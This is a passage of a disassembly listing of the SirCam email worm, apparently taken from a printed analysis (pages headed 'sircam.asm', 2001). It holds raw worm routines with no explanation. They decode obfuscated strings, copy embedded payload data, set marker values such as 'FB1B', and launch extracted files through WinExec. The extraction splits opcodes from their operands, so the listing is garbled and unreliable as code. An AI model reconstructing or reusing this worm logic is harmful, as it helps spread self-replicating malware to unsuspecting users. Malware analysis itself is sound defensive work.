; CODE XREF: sub_416478+2EF\030j
esi, 800h
ebx, offset unk_41E6D8
mov
mov
inc
mov
cmp
jg
lea
push
lea
mov
lea
call
call
; CODE XREF: sub_416478+345\031j
al, [ebx]
[ebp+var_21], al
[ebp+var_18]
eax, [ebp+var_18]
eax, [ebp+arg_8]
short loc_4167BB
eax, [ebp+var_1C]
eax
edx, [ebp+var_21]
ecx, [ebp+var_1C]
eax, [ebp+var_2C0]
sub_404F1C
sub_40265C
inc
dec
jnz
ebx
esi
short loc_416791
cmp
jnz
cmp
jnz
mov
lea
call
mov
lea
call
call
; CODE XREF: sub_416478+30D\030j
[ebp+var_14], 0
loc_4166E7
[ebp+arg_4], 1
short loc_416842
edx, [ebp+var_C]
eax, [ebp+var_40C]
sub_404E16
edx, 1
eax, [ebp+var_40C]
sub_40510D
sub_40265C
lea
push
mov
mov
lea
call
call
; CODE XREF: sub_416478+3B8\031j
eax, [ebp+var_14]
eax
edx, offset unk_41E6D8
ecx, 800h
eax, [ebp+var_40C]
sub_404EB8
sub_40265C
loc_416791:
loc_4167BB:
; CODE XREF: sub_416478+327\030j
loc_4167BF:
loc_4167F2:
sircam.asm
Fri Aug 10 12:42:44 2001
lea
push
mov
mov
lea
call
call
cmp
jnz
lea
call
call
eax, [ebp+var_14]
eax
edx, offset unk_41E6D8
ecx, [ebp+var_14]
eax, [ebp+var_2C0]
sub_404F1C
sub_40265C
[ebp+var_14], 0
short loc_4167F2
eax, [ebp+var_40C]
sub_404F80
sub_40265C
lea
call
call
lea
call
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_416478+355\030j
eax, [ebp+var_174]
sub_404F80
sub_40265C
eax, [ebp+var_2C0]
sub_404F80
sub_40265C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4168B4
loc_416842:
loc_41686F:
sub_416478
610
; CODE XREF: CODE:004168B2\031j
lea
eax, [ebp+var_51C]
call
sub_4034C8
lea
eax, [ebp+var_418]
mov
edx, 3
call
sub_4034EC
lea
eax, [ebp+var_20]
call
sub_4034C8
lea
eax, [ebp+var_10]
mov
edx, 4
call
sub_4034EC
lea
eax, [ebp+arg_C]
mov
edx, 4
call
sub_4034EC
retn
endp ; sp = -540h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4168AD:
; DATA XREF: sub_416478+6F\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41686F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4168B4:
; DATA XREF: sub_416478+3F2\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 1
dword_4168C4
dd 33h, 0FFFFFFFFh, 3
; DATA XREF: sub_416478+85\030o
dword_4168D0
dd 334446h, 0FFFFFFFFh, 8 ; DATA XREF: sub_416478+8A\030o
dword_4168DC
dd 2 dup(20202020h), 0, 0FFFFFFFFh, 8 ; DATA XREF: sub_416478+121\030o
dword_4168F0
dd 80765F6Bh, 7D705552h, 0, 0FFFFFFFFh, 1 ; DATA XREF: sub_416478+186\030
o
dword_416904
dd 32h, 0FFFFFFFFh, 1
; DATA XREF: sub_416478+28D\030o
dword_416910
dd 35h, 0FFFFFFFFh, 1
; DATA XREF: sub_416478+29D\030o
dword_41691C
dd 38h, 0FFFFFFFFh, 1
; DATA XREF: sub_416478+2AD\030o
dword_416928
dd 39h
; DATA XREF: sub_416478+2BD\030o
sircam.asm
Fri Aug 10 12:42:44 2001
611
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41692C
proc near
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
arg_0
=
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_416A1C+95\031p
-1Ch
-18h
-14h
-10h
-0Ch
-8
-4
8
push
mov
add
push
push
push
xor
mov
mov
mov
mov
mov
mov
mov
call
xor
push
push
push
mov
lea
call
test
jle
mov
mov
mov
ebp
ebp, esp
esp, 0FFFFFFE4h
ebx
esi
edi
ebx, ebx
[ebp+var_1C], ebx
[ebp+var_18], ebx
[ebp+var_10], ebx
[ebp+var_8], ecx
[ebp+var_4], edx
ebx, eax
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_416A09
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_10]
sub_4034C8
ebx, ebx
short loc_4169D3
[ebp+var_14], ebx
[ebp+var_C], 1
ebx, offset unk_41E6D8
cmp
jnz
cmp
jnz
lea
mov
call
mov
mov
call
jnz
mov
test
jle
mov
; CODE XREF: sub_41692C+A5\031j
byte ptr [ebx], 46h
short loc_4169CA
byte ptr [ebx+1], 41h
short loc_4169CA
eax, [ebp+var_18]
dl, [ebx+2]
sub_403670
eax, [ebp+var_18]
edx, [ebp+var_8]
sub_403834
short loc_4169CA
esi, [ebp+var_4]
esi, esi
short loc_4169CA
edi, 1
lea
mov
add
mov
call
mov
lea
call
inc
; CODE XREF: sub_41692C+9C\031j
eax, [ebp+var_1C]
edx, [ebp+var_C]
edx, edi
dl, byte ptr ds:unk_41E6D9[edx]
sub_403670
edx, [ebp+var_1C]
eax, [ebp+var_10]
sub_40372C
edi
loc_416979:
loc_4169A8:
sircam.asm
Fri Aug 10 12:42:44 2001
dec
jnz
esi
short loc_4169A8
loc_4169CA:
; CODE XREF: sub_41692C+50\030j
; sub_41692C+56\030j ...
inc
inc
dec
jnz
[ebp+var_C]
ebx
[ebp+var_14]
short loc_416979
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_41692C+3C\030j
eax, [ebp+arg_0]
edx, [ebp+var_10]
sub_40351C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_416A10
loc_4169D3:
loc_4169EB:
sub_41692C
612
; CODE XREF: CODE:00416A0E\031j
lea
eax, [ebp+var_1C]
mov
edx, 2
call
sub_4034EC
lea
eax, [ebp+var_10]
call
sub_4034C8
lea
eax, [ebp+var_8]
call
sub_4034C8
retn
endp ; sp = -30h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416A09:
; DATA XREF: sub_41692C+27\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4169EB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416A10:
; DATA XREF: sub_41692C+BA\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_416A1C
proc near
var_160
var_14
var_10
var_C
var_8
var_4
arg_0
=
=
=
=
=
=
=
byte ptr -160h
dword ptr -14h
dword ptr -10h
byte ptr -0Ch
dword ptr -8
dword ptr -4
dword ptr 8
push
mov
add
push
push
ebp
ebp, esp
esp, 0FFFFFEA0h
ebx
esi
; CODE XREF: sub_416C54+108\031p
; sub_416C54+143\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
613
xor
mov
mov
mov
mov
mov
mov
call
mov
call
lea
xor
push
push
push
mov
lea
call
mov
lea
call
mov
mov
mov
lea
call
call
ebx, ebx
[ebp+var_10], ebx
[ebp+var_14], ebx
ebx, ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
esi, [ebp+var_C]
eax, eax
ebp
offset loc_416B0F
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_14]
sub_4034C8
edx, [ebp+var_4]
eax, [ebp+var_160]
sub_404E16
eax, ds:off_41DC30
byte ptr [eax], 0
edx, 1
eax, [ebp+var_160]
sub_40510D
sub_40265C
push
mov
mov
lea
call
call
lea
push
mov
mov
mov
call
cmp
jz
lea
mov
call
; CODE XREF: sub_416A1C+AE\031j
esi
edx, offset unk_41E6D8
ecx, 800h
eax, [ebp+var_160]
sub_404EB8
sub_40265C
eax, [ebp+var_10]
eax
ecx, [ebp+var_8]
edx, ebx
eax, [esi]
sub_41692C
[ebp+var_10], 0
short loc_416AC7
eax, [ebp+var_14]
edx, [ebp+var_10]
sub_403560
cmp
jnz
lea
call
call
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_416A1C+9E\030j
dword ptr [esi], 0
short loc_416A8B
eax, [ebp+var_160]
sub_404F80
sub_40265C
eax, [ebp+arg_0]
edx, [ebp+var_14]
sub_40351C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_416B16
lea
mov
call
lea
mov
call
; CODE XREF: CODE:00416B14\031j
eax, [ebp+var_14]
edx, 2
sub_4034EC
eax, [ebp+var_8]
edx, 2
sub_4034EC
loc_416A8B:
loc_416AC7:
loc_416AF4:
sircam.asm
sub_416A1C
Fri Aug 10 12:42:44 2001
614
retn
endp ; sp = -174h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416B0F:
; DATA XREF: sub_416A1C+31\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_416AF4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416B16:
; DATA XREF: sub_416A1C+D3\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_416B20
proc near
var_2AC
var_160
var_11
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
; CODE XREF: sub_416C54+BD\031p
byte ptr -2ACh
byte ptr -160h
byte ptr -11h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
push
mov
add
push
push
xor
mov
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
call
test
jnz
xor
lea
mov
call
mov
lea
call
mov
lea
call
mov
mov
mov
ebp
ebp, esp
esp, 0FFFFFD54h
ebx
esi
ebx, ebx
[ebp+var_10], ebx
esi, ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_416C45
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_8]
sub_4071A8
al, al
loc_416C22
ebx, ebx
edx, [ebp+var_10]
eax, [ebp+var_4]
sub_4073EC
edx, [ebp+var_4]
eax, [ebp+var_160]
sub_404E16
edx, [ebp+var_8]
eax, [ebp+var_2AC]
sub_404E16
eax, ds:off_41DC30
byte ptr [eax], 0
edx, 1
sircam.asm
Fri Aug 10 12:42:44 2001
lea
call
call
mov
lea
call
call
eax, [ebp+var_160]
sub_40510D
sub_40265C
edx, 1
eax, [ebp+var_2AC]
sub_405124
sub_40265C
lea
push
lea
mov
lea
call
call
inc
cmp
jg
lea
push
lea
mov
lea
call
call
; CODE XREF: sub_416B20+E0\031j
eax, [ebp+var_C]
eax
edx, [ebp+var_11]
ecx, 1
eax, [ebp+var_160]
sub_404EB8
sub_40265C
ebx
esi, ebx
short loc_416BFC
eax, [ebp+var_C]
eax
edx, [ebp+var_11]
ecx, [ebp+var_C]
eax, [ebp+var_2AC]
sub_404F1C
sub_40265C
cmp
jnz
lea
call
call
lea
call
call
; CODE XREF: sub_416B20+C0\030j
[ebp+var_C], 0
short loc_416BC1
eax, [ebp+var_160]
sub_404F80
sub_40265C
eax, [ebp+var_2AC]
sub_404F80
sub_40265C
xor
pop
pop
pop
mov
push
; CODE XREF: sub_416B20+40\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_416C4C
loc_416BC1:
loc_416BFC:
loc_416C22:
loc_416C2F:
sub_416B20
615
; CODE XREF: CODE:00416C4A\031j
lea
eax, [ebp+var_10]
call
sub_4034C8
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -2BCh
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416C45:
; DATA XREF: sub_416B20+2B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_416C2F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416C4C:
; DATA XREF: sub_416B20+10A\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
616
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_416C54
proc near
var_6C
var_68
var_64
var_60
var_5C
var_58
var_54
var_50
var_4C
var_48
var_44
var_40
var_3C
var_38
var_34
var_30
var_2C
var_28
var_24
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
; CODE XREF: start+61D\031p
dword ptr -6Ch
dword ptr -68h
dword ptr -64h
dword ptr -60h
dword ptr -5Ch
dword ptr -58h
dword ptr -54h
dword ptr -50h
dword ptr -4Ch
dword ptr -48h
dword ptr -44h
dword ptr -40h
dword ptr -3Ch
dword ptr -38h
dword ptr -34h
byte ptr -30h
dword ptr -2Ch
dword ptr -28h
byte ptr -24h
byte ptr -20h
dword ptr -1Ch
byte ptr -18h
dword ptr -14h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
push
mov
mov
ebp
ebp, esp
ecx, 0Dh
push
push
dec
jnz
push
push
mov
mov
mov
call
xor
push
push
push
mov
push
push
lea
push
mov
mov
mov
call
lea
mov
call
lea
xor
mov
call
; CODE XREF: sub_416C54+D\031j
0
0
ecx
short loc_416C5C
ecx
ebx
ebx, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_416F90
dword ptr fs:[eax]
fs:[eax], esp
1
1
eax, [ebp+var_18]
eax
ecx, offset dword_416FA4
edx, offset dword_416FB0
eax, ds:dword_41EEFC
sub_415EAC
edx, [ebp+var_14]
eax, [ebp+var_4]
sub_4073EC
ecx, [ebp+var_10]
edx, edx
eax, [ebp+var_14]
sub_407324
loc_416C5C:
sircam.asm
Fri Aug 10 12:42:44 2001
617
mov
mov
call
test
jnz
lea
mov
call
edx, [ebp+var_10]
eax, offset dword_416FBC
sub_4039B4
eax, eax
short loc_416CD0
eax, [ebp+var_10]
edx, [ebp+var_14]
sub_403560
push
push
push
mov
mov
call
lea
mov
call
mov
lea
mov
call
lea
mov
mov
call
mov
mov
mov
call
push
push
lea
push
mov
mov
mov
call
push
push
lea
push
lea
push
mov
mov
mov
call
mov
lea
call
mov
mov
mov
call
push
push
lea
push
lea
push
mov
mov
mov
call
mov
lea
call
mov
; CODE XREF: sub_416C54+6F\030j
ds:dword_41EEF0
offset dword_416FC8
[ebp+var_10]
eax, offset dword_41EEF4
edx, 3
sub_4037E4
edx, [ebp+var_1C]
eax, 6
sub_41609C
edx, [ebp+var_1C]
eax, [ebp+var_10]
ecx, [ebp+var_10]
sub_403770
ecx, [ebx+1]
edx, [ebp+var_10]
eax, [ebp+var_4]
sub_416B20
cl, 1
edx, ds:dword_41EEF4
eax, [ebp+var_10]
sub_416178
1
1
eax, [ebp+var_20]
eax
ecx, ds:dword_41EEF4
edx, offset aFb1b ; "FB1B"
eax, ds:dword_41EEFC
sub_415EAC
1
1
eax, [ebp+var_24]
eax
eax, [ebp+var_2C]
eax
ecx, 5Ah
edx, offset dword_416FE4
eax, [ebp+var_4]
sub_416A1C
eax, [ebp+var_2C]
edx, [ebp+var_28]
sub_406E9C
ecx, [ebp+var_28]
edx, offset aFb1bb ; "FB1BB"
eax, ds:dword_41EEFC
sub_415EAC
1
1
eax, [ebp+var_30]
eax
eax, [ebp+var_38]
eax
ecx, 5Ah
edx, offset dword_417000
eax, [ebp+var_4]
sub_416A1C
eax, [ebp+var_38]
edx, [ebp+var_34]
sub_406E9C
ecx, [ebp+var_34]
loc_416CD0:
sircam.asm
Fri Aug 10 12:42:44 2001
618
mov
edx, offset aFb1ba ; "FB1BA"
mov
eax, ds:dword_41EEFC
call
sub_415EAC
lea
edx, [ebp+var_3C]
mov
eax, [ebp+var_10]
call
sub_41620C
mov
eax, [ebp+var_3C]
lea
ecx, [ebp+var_8]
mov
edx, 1
call
sub_415FAC
mov
eax, [ebp+var_8]
mov
edx, offset dword_41701C
call
sub_403834
jnz
short loc_416E03
push
1
lea
edx, [ebp+var_40]
mov
eax, [ebp+var_10]
call
sub_407424
mov
eax, [ebp+var_40]
call
sub_4038E8
push
eax
call
j_WinExec
jmp
loc_416F75
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416E03:
; CODE XREF: sub_416C54+18D\030j
lea
ecx, [ebp+var_44]
xor
edx, edx
mov
eax, offset aOzqoSlqcevanzm ; "\216§\237®²\231«\237\227\205¢\235§¬©¡¬\225\221¤¦\235©²«\225}°ª«\237©¬\217\237-«¢"...
call
sub_415FAC
mov
edx, [ebp+var_44]
mov
eax, offset dword_41EEF4
call
sub_40351C
mov
eax, [ebp+var_8]
mov
edx, offset dword_417068
call
sub_403834
jnz
short loc_416EA5
push
0
push
1
lea
eax, [ebp+var_C]
push
eax
lea
ecx, [ebp+var_4C]
xor
edx, edx
mov
eax, offset dword_417074
call
sub_415FAC
mov
ecx, [ebp+var_4C]
lea
eax, [ebp+var_48]
mov
edx, ds:dword_41EEF4
call
sub_403770
mov
eax, [ebp+var_48]
xor
ecx, ecx
xor
edx, edx
call
sub_415EAC
cmp
[ebp+var_C], 0
jnz
loc_416F2D
push
0
push
1
lea
eax, [ebp+var_C]
push
eax
lea
ecx, [ebp+var_54]
xor
edx, edx
mov
eax, offset dword_41708C
call
sub_415FAC
mov
ecx, [ebp+var_54]
lea
eax, [ebp+var_50]
mov
edx, ds:dword_41EEF4
call
sub_403770
mov
eax, [ebp+var_50]
xor
ecx, ecx
sircam.asm
Fri Aug 10 12:42:44 2001
619
xor
edx, edx
call
sub_415EAC
jmp
loc_416F2D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416EA5:
; CODE XREF: sub_416C54+1D8\030j
mov
eax, [ebp+var_8]
mov
edx, offset dword_4170A4
call
sub_403834
jnz
short loc_416EEA
push
0
push
1
lea
eax, [ebp+var_C]
push
eax
lea
ecx, [ebp+var_5C]
xor
edx, edx
mov
eax, offset dword_4170B0
call
sub_415FAC
mov
ecx, [ebp+var_5C]
lea
eax, [ebp+var_58]
mov
edx, ds:dword_41EEF4
call
sub_403770
mov
eax, [ebp+var_58]
xor
ecx, ecx
xor
edx, edx
call
sub_415EAC
jmp
short loc_416F2D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416EEA:
mov
mov
call
jnz
push
push
lea
push
lea
xor
mov
call
mov
lea
mov
call
mov
xor
xor
call
loc_416F2D:
; CODE XREF: sub_416C54+25E\030j
eax, [ebp+var_8]
edx, offset dword_4170C4
sub_403834
short loc_416F2D
0
1
eax, [ebp+var_C]
eax
ecx, [ebp+var_64]
edx, edx
eax, offset dword_4170D0
sub_415FAC
ecx, [ebp+var_64]
eax, [ebp+var_60]
edx, ds:dword_41EEF4
sub_403770
eax, [ebp+var_60]
ecx, ecx
edx, edx
sub_415EAC
; CODE XREF: sub_416C54+212\030j
; sub_416C54+24C\030j ...
cmp
jnz
lea
xor
mov
call
[ebp+var_C], 0
short loc_416F42
ecx, [ebp+var_C]
edx, edx
eax, offset dword_4170E4
sub_415FAC
push
push
push
lea
mov
call
push
lea
mov
; CODE XREF: sub_416C54+2DD\030j
1
[ebp+var_C]
offset dword_417114
edx, [ebp+var_6C]
eax, [ebp+var_10]
sub_407424
[ebp+var_6C]
eax, [ebp+var_68]
edx, 3
loc_416F42:
sircam.asm
Fri Aug 10 12:42:44 2001
call
mov
call
push
call
sub_4037E4
eax, [ebp+var_68]
sub_4038E8
eax
j_WinExec
xor
pop
pop
pop
mov
push
; CODE XREF: sub_416C54+1AA\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_416F97
loc_416F75:
loc_416F82:
sub_416C54
620
; CODE XREF: CODE:00416F95\031j
lea
eax, [ebp+var_6C]
mov
edx, 1Bh
call
sub_4034EC
retn
endp ; sp = -74h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416F90:
; DATA XREF: sub_416C54+21\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_416F82
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416F97:
; DATA XREF: sub_416C54+329\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 1
dword_416FA4
dd 31h, 0FFFFFFFFh, 3
; DATA XREF: sub_416C54+34\030o
dword_416FB0
dd 374446h, 0FFFFFFFFh, 1 ; DATA XREF: sub_416C54+39\030o
dword_416FBC
dd 2Eh, 0FFFFFFFFh, 1
; DATA XREF: sub_416C54+63\030o
dword_416FC8
dd 5Ch, 0FFFFFFFFh, 4
; DATA XREF: sub_416C54+82\030o
aFb1b
db ’FB1B’,0
; DATA XREF: sub_416C54+E0\030o
align 4
dd 0FFFFFFFFh, 1
dword_416FE4
dd 35h, 0FFFFFFFFh, 5
; DATA XREF: sub_416C54+100\030o
aFb1bb
db ’FB1BB’,0
; DATA XREF: sub_416C54+11B\030o
align 4
dd 0FFFFFFFFh, 1
dword_417000
dd 39h, 0FFFFFFFFh, 5
; DATA XREF: sub_416C54+13B\030o
aFb1ba
db ’FB1BA’,0
; DATA XREF: sub_416C54+156\030o
align 4
dd 0FFFFFFFFh, 3
dword_41701C
dd 6D7F6Fh, 0FFFFFFFFh, 34h ; DATA XREF: sub_416C54+183\030o
aOzqoSlqcevanzm db ’\216§\237®²\231«\237\227\205¢\235-§¬©¡¬\225\221¤¦\235©²«\225}°ª«\237©
¬\217\237-«¢©©\224zª«X\211\233¯ ¬\226’,0
; DATA XREF: sub_416C54+1B4\030o
align 4
dd 0FFFFFFFFh, 3
dword_417068
dd 6B766Eh, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_416C54+1CE\030o
dword_417074
dd 697F796Ah, 40758282h, 6E768878h, 0, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_416C54+1E7\030o
dword_41708C
dd 76837F6Ah, 40757163h, 6E768878h, 0, 0FFFFFFFFh, 3
; DATA XREF: sub_416C54+225\030o
dword_4170A4
dd 7B7382h, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_416C54+254\030o
dword_4170B0
dd 75728656h, 88743C7Dh, 6A76h, 0FFFFFFFFh, 3 ; DATA XREF: sub_416C54+26D
\030o
dword_4170C4
dd 787084h, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_416C54+299\030o
dword_4170D0
dd 8B7E7889h, 763E7F7Bh, 6C748Ah, 0FFFFFFFFh, 26h
; DATA XREF: sub_416C54+2B2\030o
dword_4170E4
dd 90999F9Fh, 5E5E9699h, 91A38F5Bh, 91939D4Dh, 5E5E9699h
; DATA XREF: sub_416C54+2E4\030o
sircam.asm
dword_417114
